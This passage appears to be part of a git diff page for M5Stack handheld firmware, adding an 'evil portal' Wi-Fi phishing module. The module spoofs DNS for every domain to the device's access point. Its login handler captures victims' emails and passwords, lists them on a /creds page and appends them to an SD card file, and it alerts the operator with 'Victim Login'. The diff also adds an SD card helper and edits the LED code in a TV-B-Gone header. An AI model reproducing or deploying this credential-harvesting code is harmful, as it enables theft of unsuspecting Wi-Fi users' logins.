|
||||||
|
}
|
||||||
|
|
||||||
|
String index_POST() {
|
||||||
|
String email = getInputValue("email");
|
||||||
|
String password = getInputValue("password");
|
||||||
|
capturedCredentialsHtml = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + capturedCredentialsHtml;
|
||||||
|
|
||||||
|
#if defined(SDCARD)
|
||||||
|
appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
|
||||||
|
#endif
|
||||||
|
return getHtmlContents(LOGIN_AFTER_MESSAGE);
|
||||||
|
}
|
||||||
|
|
||||||
|
String clear_GET() {
|
||||||
|
String email = "<p></p>";
|
||||||
|
String password = "<p></p>";
|
||||||
|
capturedCredentialsHtml = "<p></p>";
|
||||||
|
totalCapturedCredentials = 0;
|
||||||
|
return getHtmlContents("<div><p>The credentials list has been reset.</div></p><center><a style=\"color:blue\" href=/creds>Back to capturedCredentialsHtml</a></center><center><a style=\"color:blue\" href=/>Back to Index</a></center>");
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(M5LED)
|
||||||
|
void blinkLed() {
|
||||||
|
int count = 0;
|
||||||
|
while (count < 5) {
|
||||||
|
digitalWrite(M5_LED, LOW);
|
||||||
|
delay(500);
|
||||||
|
digitalWrite(M5_LED, HIGH);
|
||||||
|
delay(500);
|
||||||
|
count = count + 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void setupWebServer() {
|
||||||
|
Serial.println("Starting DNS");
|
||||||
|
dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
|
||||||
|
Serial.println("Setting up Webserver");
|
||||||
|
webServer.on("/post", []() {
|
||||||
|
totalCapturedCredentials = totalCapturedCredentials + 1;
|
||||||
|
webServer.send(HTTP_CODE, "text/html", index_POST());
|
||||||
|
#if defined(STICK_C_PLUS) || defined(STICK_C) || defined(STICK_C_PLUS2)
|
||||||
|
SPEAKER.tone(4000);
|
||||||
|
delay(50);
|
||||||
|
SPEAKER.mute();
|
||||||
|
#elif defined(CARDPUTER)
|
||||||
|
SPEAKER.tone(4000, 50);
|
||||||
|
#endif
|
||||||
|
DISP.print("Victim Login");
|
||||||
|
#if defined(M5LED)
|
||||||
|
blinkLed();
|
||||||
|
#endif
|
||||||
|
});
|
||||||
|
Serial.println("Registering /creds");
|
||||||
|
webServer.on("/creds", []() {
|
||||||
|
webServer.send(HTTP_CODE, "text/html", creds_GET());
|
||||||
|
});
|
||||||
|
Serial.println("Registering /clear");
|
||||||
|
webServer.on("/clear", []() {
|
||||||
|
webServer.send(HTTP_CODE, "text/html", clear_GET());
|
||||||
|
});
|
||||||
|
Serial.println("Registering /*");
|
||||||
|
webServer.onNotFound([]() {
|
||||||
|
lastActivity = millis();
|
||||||
|
webServer.send(HTTP_CODE, "text/html", index_GET());
|
||||||
|
});
|
||||||
|
Serial.println("Starting Webserver");
|
||||||
|
webServer.begin();
|
||||||
|
}
|
||||||
|
|
||||||
|
void shutdownWebServer() {
|
||||||
|
Serial.println("Stopping DNS");
|
||||||
|
dnsServer.stop();
|
||||||
|
Serial.println("Closing Webserver");
|
||||||
|
webServer.close();
|
||||||
|
Serial.println("Stopping Webserver");
|
||||||
|
webServer.stop();
|
||||||
|
Serial.println("Setting WiFi to STA mode");
|
||||||
|
WiFi.mode(WIFI_MODE_STA);
|
||||||
|
}
|
|
@ -0,0 +1,49 @@
|
||||||
|
|
||||||
|
bool sdcardMounted = false;
|
||||||
|
#if defined(SDCARD)
|
||||||
|
#include <FS.h>
|
||||||
|
#include <SD.h>
|
||||||
|
#include <SPI.h>
|
||||||
|
SPIClass* sdcardSPI = NULL;
|
||||||
|
SemaphoreHandle_t sdcardSemaphore;
|
||||||
|
|
||||||
|
void appendToFile(fs::FS& fs, const char* path, const char* text) {
|
||||||
|
if (xSemaphoreTake(sdcardSemaphore, portMAX_DELAY) == pdTRUE) {
|
||||||
|
File file = fs.open(path, FILE_APPEND);
|
||||||
|
if (!file) {
|
||||||
|
Serial.println("Failed to open file for appending");
|
||||||
|
xSemaphoreGive(sdcardSemaphore);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Serial.printf("Appending text '%s' to file: %s\n", text, path);
|
||||||
|
if (file.println(text)) {
|
||||||
|
Serial.println("Text appended");
|
||||||
|
} else {
|
||||||
|
Serial.println("Append failed");
|
||||||
|
}
|
||||||
|
file.close();
|
||||||
|
xSemaphoreGive(sdcardSemaphore);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
bool setupSdCard() {
|
||||||
|
#if defined(SDCARD)
|
||||||
|
sdcardSemaphore = xSemaphoreCreateMutex();
|
||||||
|
sdcardSPI = new SPIClass(FSPI);
|
||||||
|
sdcardSPI->begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN);
|
||||||
|
|
||||||
|
delay(10);
|
||||||
|
|
||||||
|
if (!SD.begin(SD_CS_PIN, *sdcardSPI)) {
|
||||||
|
Serial.println("Failed to mount SDCARD");
|
||||||
|
return false;
|
||||||
|
} else {
|
||||||
|
Serial.println("SDCARD mounted successfully");
|
||||||
|
sdcardMounted = true;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
return false;
|
||||||
|
#endif
|
||||||
|
}
|
9
tvbg.h
9
tvbg.h
|
@ -11,9 +11,6 @@ By Anton Grimpelhuber (anton.grimpelhuber@gmail.com)
|
||||||
#define NA 0 //set by a HIGH on REGIONSWITCH pin
|
#define NA 0 //set by a HIGH on REGIONSWITCH pin
|
||||||
#define EU 1 //set by a LOW on REGIONSWITCH pin
|
#define EU 1 //set by a LOW on REGIONSWITCH pin
|
||||||
|
|
||||||
// What pins do what
|
|
||||||
#define LED 10 //LED indicator pin (built-in LED)
|
|
||||||
|
|
||||||
// Lets us calculate the size of the NA/EU databases
|
// Lets us calculate the size of the NA/EU databases
|
||||||
#define NUM_ELEM(x) (sizeof (x) / sizeof (*(x)));
|
#define NUM_ELEM(x) (sizeof (x) / sizeof (*(x)));
|
||||||
|
|
||||||
|
@ -91,9 +88,11 @@ void delay_ten_us(uint16_t us) {
|
||||||
}
|
}
|
||||||
|
|
||||||
void quickflashLED( void ) {
|
void quickflashLED( void ) {
|
||||||
digitalWrite(LED, LOW);
|
#if defined(M5LED)
|
||||||
|
digitalWrite(M5_LED, LOW);
|
||||||
delay_ten_us(3000); // 30 ms ON-time delay
|
delay_ten_us(3000); // 30 ms ON-time delay
|
||||||
digitalWrite(LED, HIGH);
|
digitalWrite(M5_LED, HIGH);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void quickflashLEDx( uint8_t x ) {
|
void quickflashLEDx( uint8_t x ) {
|
||||||
|
|
Loading…
Reference in New Issue